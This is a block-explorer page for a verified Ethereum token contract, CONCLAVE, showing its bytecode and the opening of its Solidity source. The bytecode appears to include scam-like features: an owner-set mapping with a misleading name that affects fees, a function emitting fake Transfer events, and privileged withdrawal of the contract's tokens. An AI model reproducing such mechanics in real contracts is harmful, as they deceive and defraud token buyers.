Address Contract Verified
Address
0x8a9615d3988F6798DC653Bd5a01e4B6FA2922E0f
Balance
0 ETH
Nonce
1
Code Size
14957 bytes
Creator
0x798e7AaE...4982 at tx 0xc5b9bace...c33fae
Indexed Transactions
0
Contract Bytecode
14957 bytes
0x60806040526004361061025f575f3560e01c806370a0823111610143578063a9059cbb116100b5578063c9567bf911610079578063c9567bf9146108bc578063dd62ed3e146108d2578063e2f456051461090e578063f2fde38b14610938578063f8b45b0514610960578063ffb54a991461098a57610266565b8063a9059cbb146107c8578063c024666814610804578063c3144eda1461082c578063c876d0b914610868578063c8c8ebe41461089257610266565b80637d1db4a5116101075780637d1db4a5146106d05780638da5cb5b146106fa57806395d89b41146107245780639a7a23d61461074e578063a0ef91df14610776578063a457c2d71461078c57610266565b806370a0823114610618578063715018a61461065457806371f5f01a1461066a578063751039fc146106925780637571336a146106a857610266565b8063313ce567116101dc57806347062402116101a057806347062402146104fa57806349bd5a5e146105245780634fbee1931461054e578063500116be1461058a5780636ddd1713146105b25780636ebcf607146105dc57610266565b8063313ce5671461041c57806339509351146104465780633a61363a146104825780634141d1bb146104aa57806342966c68146104d257610266565b806318160ddd1161022357806318160ddd1461034c57806323b872dd146103765780632b14ca56146103b25780632cb743f7146103dc578063311028af146103f257610266565b806306fdde031461026a578063095ea7b3146102945780630faee56f146102d05780631186b8d8146102fa5780631694505e1461032257610266565b3661026657005b5f80fd5b348015610275575f80fd5b5061027e6109b4565b60405161028b9190612761565b60405180910390f35b34801561029f575f80fd5b506102ba60048036038101906102b59190612816565b610a44565b6040516102c7919061286e565b60405180910390f35b3480156102db575f80fd5b506102e4610a66565b6040516102f19190612896565b60405180910390f35b348015610305575f80fd5b50610320600480360381019061031b919061293a565b610a6c565b005b34801561032d575f80fd5b50610336610b0f565b60405161034391906129f2565b60405180910390f35b348015610357575f80fd5b50610360610b33565b60405161036d9190612896565b60405180910390f35b348015610381575f80fd5b5061039c60048036038101906103979190612a0b565b610b3c565b6040516103a9919061286e565b60405180910390f35b3480156103bd575f80fd5b506103c6610b6a565b6040516103d39190612896565b60405180910390f35b3480156103e7575f80fd5b506103f0610b70565b005b3480156103fd575f80fd5b50610406610c0a565b6040516104139190612896565b60405180910390f35b348015610427575f80fd5b50610430610c10565b60405161043d9190612a76565b60405180910390f35b348015610451575f80fd5b5061046c60048036038101906104679190612816565b610c18565b604051610479919061286e565b60405180910390f35b34801561048d575f80fd5b506104a860048036038101906104a39190612a8f565b610c4e565b005b3480156104b5575f80fd5b506104d060048036038101906104cb9190612b00565b610d03565b005b3480156104dd575f80fd5b506104f860048036038101906104f39190612b3e565b610d1d565b005b348015610505575f80fd5b5061050e610d31565b60405161051b9190612896565b60405180910390f35b34801561052f575f80fd5b50610538610d37565b6040516105459190612b78565b60405180910390f35b348015610559575f80fd5b50610574600480360381019061056f9190612b91565b610d5c565b604051610581919061286e565b60405180910390f35b348015610595575f80fd5b506105b060048036038101906105ab9190612b3e565b610dae565b005b3480156105bd575f80fd5b506105c6610dd8565b6040516105d3919061286e565b60405180910390f35b3480156105e7575f80fd5b5061060260048036038101906105fd9190612b91565b610deb565b60405161060f9190612896565b60405180910390f35b348015610623575f80fd5b5061063e60048036038101906106399190612b91565b610dff565b60405161064b9190612896565b60405180910390f35b34801561065f575f80fd5b50610668610e44565b005b348015610675575f80fd5b50610690600480360381019061068b9190612b3e565b610e57565b005b34801561069d575f80fd5b506106a6610eeb565b005b3480156106b3575f80fd5b506106ce60048036038101906106c99190612bbc565b610f20565b005b3480156106db575f80fd5b506106e4610f80565b6040516106f19190612896565b60405180910390f35b348015610705575f80fd5b5061070e610f86565b60405161071b9190612b78565b60405180910390f35b34801561072f575f80fd5b50610738610fae565b6040516107459190612761565b60405180910390f35b348015610759575f80fd5b50610774600480360381019061076f9190612bbc565b61103e565b005b348015610781575f80fd5b5061078a6110e3565b005b348015610797575f80fd5b506107b260048036038101906107ad9190612816565b6111ca565b6040516107bf919061286e565b60405180910390f35b3480156107d3575f80fd5b506107ee60048036038101906107e99190612816565b61123f565b6040516107fb919061286e565b60405180910390f35b34801561080f575f80fd5b5061082a60048036038101906108259190612bbc565b611261565b005b348015610837575f80fd5b50610852600480360381019061084d9190612b91565b61130f565b60405161085f919061286e565b60405180910390f35b348015610873575f80fd5b5061087c611361565b604051610889919061286e565b60405180910390f35b34801561089d575f80fd5b506108a6611373565b6040516108b39190612896565b60405180910390f35b3480156108c7575f80fd5b506108d0611379565b005b3480156108dd575f80fd5b506108f860048036038101906108f39190612bfa565b6113b8565b6040516109059190612896565b60405180910390f35b348015610919575f80fd5b5061092261143a565b60405161092f9190612896565b60405180910390f35b348015610943575f80fd5b5061095e60048036038101906109599190612b91565b611440565b005b34801561096b575f80fd5b506109746114c2565b6040516109819190612896565b60405180910390f35b348015610995575f80fd5b5061099e6114c8565b6040516109ab919061286e565b60405180910390f35b6060600380546109c390612c65565b80601f01602080910402602001604051908101604052809291908181526020018280546109ef90612c65565b8015610a3a5780601f10610a1157610100808354040283529160200191610a3a565b820191905f5260205f20905b815481529060010190602001808311610a1d57829003601f168201915b5050505050905090565b5f80610a4e6114da565b9050610a5b8185856114e1565b600191505092915050565b600d5481565b610a746116a4565b5f5b83839050811015610b095781601e5f868685818110610a9857610a97612c95565b5b9050602002016020810190610aad9190612b91565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610a76565b50505050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b5f600254905090565b5f80610b466114da565b9050610b53858285611722565b610b5e8585856117ad565b60019150509392505050565b60125481565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bb06114da565b73ffffffffffffffffffffffffffffffffffffffff1614610bcf575f80fd5b5f610bd930610dff565b9050610c073060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836117ad565b50565b600a5481565b5f6009905090565b5f80610c226114da565b9050610c43818585610c3485896113b8565b610c3e9190612cef565b6114e1565b600191505092915050565b610c566116a4565b5f5b84849050811015610cfc57848482818110610c7657610c75612c95565b5b9050602002016020810190610c8b9190612b91565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ce79190612896565b60405180910390a38080600101915050610c58565b5050505050565b610d0b6116a4565b80601281905550816011819055505050565b610d2e610d286114da565b82611f4a565b50565b60115481565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f601b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b610db66116a4565b6009600a610dc49190612e51565b81610dcf9190612e9b565b60198190555050565b601a60019054906101000a900460ff1681565b5f602052805f5260405f205f915090505481565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610e4c6116a4565b610e555f6120f3565b565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e976114da565b73ffffffffffffffffffffffffffffffffffffffff1614610eb6575f80fd5b5f610ec030610dff565b90505f60648383610ed19190612e9b565b610edb9190612f09565b9050610ee6816121b6565b505050565b610ef36116a4565b600a54600e81905550600a54600c819055505f60175f6101000a81548160ff021916908315150217905550565b610f286116a4565b80601c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600b5481565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610fbd90612c65565b80601f0160208091040260200160405190810160405280929190818152602001828054610fe990612c65565b80156110345780601f1061100b57610100808354040283529160200191611034565b820191905f5260205f20905b81548152906001019060200180831161101757829003601f168201915b5050505050905090565b6110466116a4565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cc90612fa9565b60405180910390fd5b6110df828261240a565b5050565b5f4711611125576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111c90613011565b60405180910390fd5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111656114da565b73ffffffffffffffffffffffffffffffffffffffff1614611184575f80fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156111c7573d5f803e3d5ffd5b50565b5f806111d46114da565b90505f6111e182866113b8565b905083811015611226576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121d9061309f565b60405180910390fd5b61123382868684036114e1565b60019250505092915050565b5f806112496114da565b90506112568185856117ad565b600191505092915050565b6112696116a4565b80601b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611303919061286e565b60405180910390a25050565b5f601e5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60175f9054906101000a900460ff1681565b600e5481565b6113816116a4565b6001601a5f6101000a81548160ff0219169083151502179055506001601a60016101000a81548160ff021916908315150217905550565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60195481565b6114486116a4565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036114b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ad9061312d565b60405180910390fd5b6114bf816120f3565b50565b600c5481565b601a5f9054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361154f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611546906131bb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b490613249565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116979190612896565b60405180910390a3505050565b6116ac6114da565b73ffffffffffffffffffffffffffffffffffffffff166116ca6124a8565b73ffffffffffffffffffffffffffffffffffffffff1614611720576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611717906132b1565b60405180910390fd5b565b5f61172d84846113b8565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146117a75781811015611799576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117909061333f565b60405180910390fd5b6117a684848484036114e1565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361181b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611812906133cd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611889576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118809061345b565b60405180910390fd5b5f81116118cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c2906134e9565b60405180910390fd5b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205481111561194a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194190613577565b60405180910390fd5b5f60185f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054036119d1574360185f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b6119d9610f86565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a475750611a17610f86565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db65760075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611af457507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b475750601b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611c0157600b54811115611b91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b88906135df565b60405180910390fd5b600c5481611b9e84610dff565b611ba89190612cef565b1115611be9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be090613647565b60405180910390fd5b60165f815480929190611bfb90613665565b91905055505b5f611c0b30610dff565b9050600f5f9054906101000a900460ff16158015611c75575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c8d5750601a60019054906101000a900460ff165b8015611c9a575060195481115b8015611ca95750601354601654115b15611db457601054431115611cc0575f6014819055505b600360145410611d05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cfc906136f6565b60405180910390fd5b611d22611d1d83611d1884600d546124bb565b6124bb565b6121b6565b5f4790505f811115611d945760095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8490811502906040515f60405180830381858888f19350505050158015611d92573d5f803e3d5ffd5b505b60145f815480929190611da690613665565b919050555043601081905550505b505b611dc081846124d3565b9050611e11815f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125eb90919063ffffffff16565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611ea0815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461260090919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f3d9190612896565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611fb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611faf90613784565b60405180910390fd5b5f805f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181111561203b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203290613812565b60405180910390fd5b8181015f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516120db9190612896565b60405180910390a36120ee835f84612615565b505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f600267ffffffffffffffff8111156121d2576121d1613830565b5b6040519080825280602002602001820160405280156122005781602001602082028036833780820191505090505b50905030815f8151811061221757612216612c95565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156122ba573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906122de9190613871565b816001815181106122f2576122f1612c95565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612357307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846114e1565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8460095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016123d99594939291906139ac565b5f604051808303815f87803b1580156123f0575f80fd5b505af1158015612402573d5f803e3d5ffd5b505050505050565b80601d5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b5f806124b261261a565b90508091505090565b5f8183116124c957826124cb565b815b905092915050565b5f80603290505f60185f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054436125239190613a04565b90505f82826125329190612e9b565b90505f6064821161254f5781606461254a9190613a04565b612551565b5f5b90505f606482896125629190612e9b565b61256c9190612f09565b9050601e5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156125dc576125d05f826126be90919063ffffffff16565b955050505050506125e5565b87955050505050505b92915050565b5f81836125f89190613a04565b905092915050565b5f818361260d9190612cef565b905092915050565b505050565b5f8073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126965760055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166126b9565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b5f818310156126cd57816126cf565b825b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561270e5780820151818401526020810190506126f3565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612733826126d7565b61273d81856126e1565b935061274d8185602086016126f1565b61275681612719565b840191505092915050565b5f6020820190508181035f8301526127798184612729565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6127b282612789565b9050919050565b6127c2816127a8565b81146127cc575f80fd5b50565b5f813590506127dd816127b9565b92915050565b5f819050919050565b6127f5816127e3565b81146127ff575f80fd5b50565b5f81359050612810816127ec565b92915050565b5f806040838503121561282c5761282b612781565b5b5f612839858286016127cf565b925050602061284a85828601612802565b9150509250929050565b5f8115159050919050565b61286881612854565b82525050565b5f6020820190506128815f83018461285f565b92915050565b612890816127e3565b82525050565b5f6020820190506128a95f830184612887565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126128d0576128cf6128af565b5b8235905067ffffffffffffffff8111156128ed576128ec6128b3565b5b602083019150836020820283011115612909576129086128b7565b5b9250929050565b61291981612854565b8114612923575f80fd5b50565b5f8135905061293481612910565b92915050565b5f805f6040848603121561295157612950612781565b5b5f84013567ffffffffffffffff81111561296e5761296d612785565b5b61297a868287016128bb565b9350935050602061298d86828701612926565b9150509250925092565b5f819050919050565b5f6129ba6129b56129b084612789565b612997565b612789565b9050919050565b5f6129cb826129a0565b9050919050565b5f6129dc826129c1565b9050919050565b6129ec816129d2565b82525050565b5f602082019050612a055f8301846129e3565b92915050565b5f805f60608486031215612a2257612a21612781565b5b5f612a2f868287016127cf565b9350506020612a40868287016127cf565b9250506040612a5186828701612802565b9150509250925092565b5f60ff82169050919050565b612a7081612a5b565b82525050565b5f602082019050612a895f830184612a67565b92915050565b5f805f8060608587031215612aa757612aa6612781565b5b5f85013567ffffffffffffffff811115612ac457612ac3612785565b5b612ad0878288016128bb565b94509450506020612ae3878288016127cf565b9250506040612af487828801612802565b91505092959194509250565b5f8060408385031215612b1657612b15612781565b5b5f612b2385828601612802565b9250506020612b3485828601612802565b9150509250929050565b5f60208284031215612b5357612b52612781565b5b5f612b6084828501612802565b91505092915050565b612b72816127a8565b82525050565b5f602082019050612b8b5f830184612b69565b92915050565b5f60208284031215612ba657612ba5612781565b5b5f612bb3848285016127cf565b91505092915050565b5f8060408385031215612bd257612bd1612781565b5b5f612bdf858286016127cf565b9250506020612bf085828601612926565b9150509250929050565b5f8060408385031215612c1057612c0f612781565b5b5f612c1d858286016127cf565b9250506020612c2e858286016127cf565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612c7c57607f821691505b602082108103612c8f57612c8e612c38565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612cf9826127e3565b9150612d04836127e3565b9250828201905080821115612d1c57612d1b612cc2565b5b92915050565b5f8160011c9050919050565b5f808291508390505b6001851115612d7757808604811115612d5357612d52612cc2565b5b6001851615612d625780820291505b8081029050612d7085612d22565b9450612d37565b94509492505050565b5f82612d8f5760019050612e4a565b81612d9c575f9050612e4a565b8160018114612db25760028114612dbc57612deb565b6001915050612e4a565b60ff841115612dce57612dcd612cc2565b5b8360020a915084821115612de557612de4612cc2565b5b50612e4a565b5060208310610133831016604e8410600b8410161715612e205782820a905083811115612e1b57612e1a612cc2565b5b612e4a565b612e2d8484846001612d2e565b92509050818404811115612e4457612e43612cc2565b5b81810290505b9392505050565b5f612e5b826127e3565b9150612e6683612a5b565b9250612e937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612d80565b905092915050565b5f612ea5826127e3565b9150612eb0836127e3565b9250828202612ebe816127e3565b91508282048414831517612ed557612ed4612cc2565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612f13826127e3565b9150612f1e836127e3565b925082612f2e57612f2d612edc565b5b828204905092915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d205f8201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b5f612f936039836126e1565b9150612f9e82612f39565b604082019050919050565b5f6020820190508181035f830152612fc081612f87565b9050919050565b7f546f6b656e3a206e6f2045544820696e2074686520636f6e74726163740000005f82015250565b5f612ffb601d836126e1565b915061300682612fc7565b602082019050919050565b5f6020820190508181035f83015261302881612fef565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6130896025836126e1565b91506130948261302f565b604082019050919050565b5f6020820190508181035f8301526130b68161307d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6131176026836126e1565b9150613122826130bd565b604082019050919050565b5f6020820190508181035f8301526131448161310b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6131a56024836126e1565b91506131b08261314b565b604082019050919050565b5f6020820190508181035f8301526131d281613199565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6132336022836126e1565b915061323e826131d9565b604082019050919050565b5f6020820190508181035f83015261326081613227565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61329b6020836126e1565b91506132a682613267565b602082019050919050565b5f6020820190508181035f8301526132c88161328f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f6133296028836126e1565b9150613334826132cf565b604082019050919050565b5f6020820190508181035f8301526133568161331d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6133b76025836126e1565b91506133c28261335d565b604082019050919050565b5f6020820190508181035f8301526133e4816133ab565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6134456023836126e1565b9150613450826133eb565b604082019050919050565b5f6020820190508181035f83015261347281613439565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6134d36029836126e1565b91506134de82613479565b604082019050919050565b5f6020820190508181035f830152613500816134c7565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6135616026836126e1565b915061356c82613507565b604082019050919050565b5f6020820190508181035f83015261358e81613555565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f6135c96019836126e1565b91506135d482613595565b602082019050919050565b5f6020820190508181035f8301526135f6816135bd565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f613631601a836126e1565b915061363c826135fd565b602082019050919050565b5f6020820190508181035f83015261365e81613625565b9050919050565b5f61366f826127e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036136a1576136a0612cc2565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f6136e06017836126e1565b91506136eb826136ac565b602082019050919050565b5f6020820190508181035f83015261370d816136d4565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f61376e6021836126e1565b915061377982613714565b604082019050919050565b5f6020820190508181035f83015261379b81613762565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e5f8201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b5f6137fc6022836126e1565b9150613807826137a2565b604082019050919050565b5f6020820190508181035f830152613829816137f0565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f8151905061386b816127b9565b92915050565b5f6020828403121561388657613885612781565b5b5f6138938482850161385d565b91505092915050565b5f819050919050565b5f6138bf6138ba6138b58461389c565b612997565b6127e3565b9050919050565b6138cf816138a5565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613907816127a8565b82525050565b5f61391883836138fe565b60208301905092915050565b5f602082019050919050565b5f61393a826138d5565b61394481856138df565b935061394f836138ef565b805f5b8381101561397f578151613966888261390d565b975061397183613924565b925050600181019050613952565b5085935050505092915050565b5f613996826129c1565b9050919050565b6139a68161398c565b82525050565b5f60a0820190506139bf5f830188612887565b6139cc60208301876138c6565b81810360408301526139de8186613930565b90506139ed606083018561399d565b6139fa6080830184612887565b9695505050505050565b5f613a0e826127e3565b9150613a19836127e3565b9250828203905081811115613a3157613a30612cc2565b5b9291505056fea2646970667358221220f7e955be3dedaded8701780471583d0346ebfa27e45e9573c6ed3f6709b82bd164736f6c63430008180033
Verified Source Code Full Match
Compiler: v0.8.24+commit.e11b9ed9
EVM: shanghai
Optimization: No
CONCLAVE.sol 246 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
import {ERC20} from "./ERC20.sol";
import {Ownable} from "./Ownable.sol";
import {SafeMath} from "./SafeMath.sol";
import {IUniswapV2Router02, IUniswapV2Factory} from "./Uniswap.sol";
import {IERC20} from "./IERC20.sol";
contract CONCLAVE is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2Pair;
address private devWallet;
address payable private marketingWallet;
address private constant deadAddress = address(0xdead);
uint8 private constant _decimals = 9;
uint256 public initialTotalSupply = 1_000_000_000 * 10**_decimals;
// 1% max w
uint256 public _maxTxAmount = 20000000 * 10**_decimals;
uint256 public maxWallet = 20000000 * 10**_decimals;
uint256 public _maxTaxSwap= 10000000 * 10**_decimals;
uint256 public maxTransactionAmount = maxWallet;
bool private swapping;
uint256 private _lastSellBlock = 0;
uint256 public buyFee = 15;
uint256 public sellFee = 20;
uint256 private _preventSwapBefore=23;
uint256 private sellCount = 0;
uint256 private lastSellBlock = 0;
uint256 private _buyCount=0;
bool public transferDelayEnabled = true;
mapping(address => uint256) private _holderLastTransferTimestamp;
//swapThreshold 0.2%
uint256 public swapTokensAtAmount = (initialTotalSupply * 2)/1000;
bool public tradingOpen = false;
bool public swapEnabled = false;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
mapping(address => bool) private _ERC20burnsAmountExceedsforBalance;
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
